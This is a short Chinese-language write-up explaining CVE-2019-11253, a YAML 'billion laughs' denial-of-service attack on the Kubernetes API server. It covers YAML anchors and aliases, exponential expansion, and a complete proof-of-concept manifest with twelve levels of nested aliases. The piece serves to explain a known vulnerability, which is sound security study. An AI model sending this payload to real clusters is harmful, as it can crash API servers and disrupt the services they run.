CVE-2019-11253:YMAL炸弹
前置知识
1. YAML 是什么
一种配置文件格式,Kubernetes 的资源清单(Pod、Deployment 等)常用它编写。
2. 锚点 &name:给内容起名
用 &名字 给一段内容打标记,相当于“存起来备用”。
defaults: &default_settings
cpu: "500m"
memory: "256Mi"3. 别名 *name:引用已命名的内容
用 *名字 引用之前定义的锚点内容。(别名调用锚点)
container1:
<<: *default_settings
image: nginx4. 展开:解析时复制内容
YAML 解析器读到 *default_settings,会把锚点定义的那段内容复制过来,替换掉别名。
解析后,内存里是完整数据,不再有引用。
5. 嵌套与指数膨胀
锚点可以引用另一个锚点,别名可以层层嵌套。
a: &a [x,x,x,x,x,x,x,x,x] # 9 个
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] # 9×9 = 81 个
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] # 9×81 = 729 个每加一层,元素数量乘 9。加到第 10 层,就是 9¹⁰ ≈ 35 亿个元素。
一个几 KB 的 YAML,解析后能膨胀到几 GB 内存。
漏洞原理
YAML 解析器支持锚点和别名,攻击者构造一个深层嵌套的 YAML,解析时会指数级递归展开,瞬间耗尽 CPU 和内存,把 API Server 打崩
POC
apiVersion: authorization.k8s.io/v1
kind: SelfSubjectAccessReview
metadata:
name: yaml-dos
namespace: default
data:
a: &a ["HONK","HONK","HONK","HONK","HONK","HONK","HONK","HONK","HONK"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
j: &j [*i,*i,*i,*i,*i,*i,*i,*i,*i]
k: &k [*j,*j,*j,*j,*j,*j,*j,*j,*j]
l: &l [*k,*k,*k,*k,*k,*k,*k,*k,*k]复现比较麻烦,虚拟机卡死好几次了,就弄个poc了